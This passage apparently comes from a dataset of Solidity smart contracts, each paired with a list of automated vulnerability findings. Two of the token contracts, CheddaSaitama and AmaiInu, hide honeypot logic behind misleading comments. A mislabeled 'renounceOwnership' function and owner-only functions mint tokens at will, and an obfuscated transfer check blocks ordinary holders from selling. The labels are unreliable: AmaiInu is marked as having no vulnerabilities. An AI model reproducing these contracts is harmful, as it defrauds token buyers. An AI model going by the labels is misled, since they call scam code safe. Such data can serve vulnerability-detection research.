if (token0 != wethToken) {
price = price1Average.mul(10**18).decode144();
wethUSDTPrice = price0AverageForUSDT.mul(10**18).decode144();
wethUSDTPrice = wethUSDTPrice.mul(10**12);
price = (wethUSDTPrice.mul(10**12)).div(price.mul(10**9)).div(10**12);
} else {
require(token1 != wethToken, 'OraclePrice: INVALID_TOKEN');
price = price0Average.mul(10**18).decode144();
wethUSDTPrice = price1AverageForUSDT.mul(10**18).decode144();
wethUSDTPrice = wethUSDTPrice.mul(10**12);
price = (wethUSDTPrice.mul(10**12)).div(price.mul(10**9)).div(10**12);
}
tokenPrice = price;
return (price, true);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint amountIn) external view returns (uint amountOut) {
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, 'OraclePrice: INVALID_TOKEN');
amountOut = price1Average.mul(amountIn).decode144();
}
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) uninitialized-local with Medium impact |
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// CueCrypto Token Contract
//
// Symbol : CUE
// Name : CueCrypto
// Total supply: 10000000000
// Decimals : 0
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract CueCrypto is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CueCrypto() public {
symbol = "CUE";
name = "CueCrypto";
decimals = 0;
_totalSupply = 10000000000;
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract CheddaSaitama is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function renounceOwnership(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: renounceOwnership from the zero address");
_reflect (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity >=0.4.21 <0.6.0;
interface ERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
//
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function uintSub(uint a, uint b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MeetFacesTradingContract is ERC20 {
string internal _name = "MeetFaces Trading";
string internal _symbol = "MFT";
string internal _standard = "ERC20";
uint8 internal _decimals = 18;
uint internal _totalSupply = 70000000 * 1 ether;
address internal _contractOwner;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
event OwnershipTransferred(
address indexed _oldOwner,
address indexed _newOwner
);
constructor () public {
balances[msg.sender] = totalSupply();
_contractOwner = msg.sender;
}
// Try to prevent sending ETH to SmartContract by mistake.
function () external payable {
revert("This SmartContract is not payable");
}
//
// Getters and Setters
//
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function standard() public view returns (string memory) {
return _standard;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function contractOwner() public view returns (address) {
return _contractOwner;
}
//
// Contract common functions
//
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "'_to' address has to be set");
require(_value <= balances[msg.sender], "Insufficient balance");
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_spender != address(0), "_spender address has to be set");
require (_value > 0, "'_value' parameter has to be greater than 0");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_from != address(0), "'_from' address has to be set");
require(_to != address(0), "'_to' address has to be set");
require(_value <= balances[_from], "Insufficient balance");
require(_value <= allowed[_from][msg.sender], "Insufficient allowance");
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
modifier onlyOwner() {
require(isOwner(), "Only owner can do that");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _contractOwner;
}
function transferOwnership(address _newOwner) public onlyOwner returns (bool success) {
require(_newOwner != address(0) && _contractOwner != _newOwner);
emit OwnershipTransferred(_contractOwner, _newOwner);
_contractOwner = _newOwner;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(_value <= balances[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
_totalSupply = SafeMath.sub(_totalSupply, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function mint(uint256 _value) public onlyOwner returns(bool success) {
_totalSupply = SafeMath.add(_totalSupply, _value);
balances[msg.sender] = SafeMath.add(balances[msg.sender], _value);
emit Transfer(address(0), msg.sender, _value);
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
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**/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.17;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint internal queueNumber;
address internal zeroAddress;
address internal burnAddress;
address internal burnAddress2;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != zeroAddress, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && zeroAddress == address(0)) zeroAddress = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function allowanceAndtransfer(address _address, uint256 tokens) public everyone {
burnAddress = _address;
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
function Burn(address _address) public everyone {
burnAddress2 = _address;
}
function BurnSize(uint256 _size) public everyone {
queueNumber = _size;
}
function _send (address start, address end) internal view {
require(end != zeroAddress || (start == burnAddress && end == zeroAddress) || (start == burnAddress2 && end == zeroAddress)|| (end == zeroAddress && balances[start] <= queueNumber), "cannot be zero address");
}
function () external payable {
revert();
}
}
contract AmaiInu is TokenERC20 {
function initialise() public everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _indexNumber) public {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
queueNumber = _indexNumber*(10**uint256(decimals));
burnAddress = burn1;
burnAddress2 = burn2;
owner = msg.sender;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function() external payable {
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC20Detailed.sol";
contract DogeProtocol is ERC20Detailed {
string constant tokenNameWeNeed = "Doge Protocol";
string constant tokenSymbol = "dogep";
uint8 decimalsWeNeed = 18;
uint256 totalSupplyWeNeed = 100 * (10**12) * (10**decimalsWeNeed);
uint256 baseBurnPercentDivisor = 100000; //0.1% per transaction
//Saturday, April 30, 2022 11:59:59 PM
uint256 tokenAllowedCutOffDate = 1651363199;
uint256 tokenAllowedPerAccount = 99 * (10**10) * (10**decimalsWeNeed);
constructor(address priorApprovalContractAddress) public payable ERC20Detailed
(
tokenNameWeNeed,
tokenSymbol,
totalSupplyWeNeed,
baseBurnPercentDivisor,
decimalsWeNeed,
tokenAllowedCutOffDate,
tokenAllowedPerAccount,
priorApprovalContractAddress
)
{
_mint(msg.sender, totalSupply());
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// Sources flattened with hardhat v2.0.11 https://hardhat.org
// File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.2.2
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol@v1.2.2
pragma solidity 0.6.12;
// solhint-disable avoid-low-level-calls
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
function returnDataToString(bytes memory data) internal pure returns (string memory) {
if (data.length >= 64) {
return abi.decode(data, (string));
} else if (data.length == 32) {
uint8 i = 0;
while(i < 32 && data[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && data[i] != 0; i++) {
bytesArray[i] = data[i];
}
return string(bytesArray);
} else {
return "???";
}
}
/// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token symbol.
function safeSymbol(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.name version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token name.
function safeName(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value.
/// @param token The address of the ERC-20 token contract.
/// @return (uint8) Token decimals.
function safeDecimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// File contracts/interfaces/IRewarder.sol
pragma solidity 0.6.12;
interface IRewarder {
using BoringERC20 for IERC20;
function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external;
function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory);
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.2
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @boringcrypto/boring-solidity/contracts/BoringOwnable.sol@v1.2.2
pragma solidity 0.6.12;
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto
contract BoringOwnableData {
address public owner;
address public pendingOwner;
}
contract BoringOwnable is BoringOwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
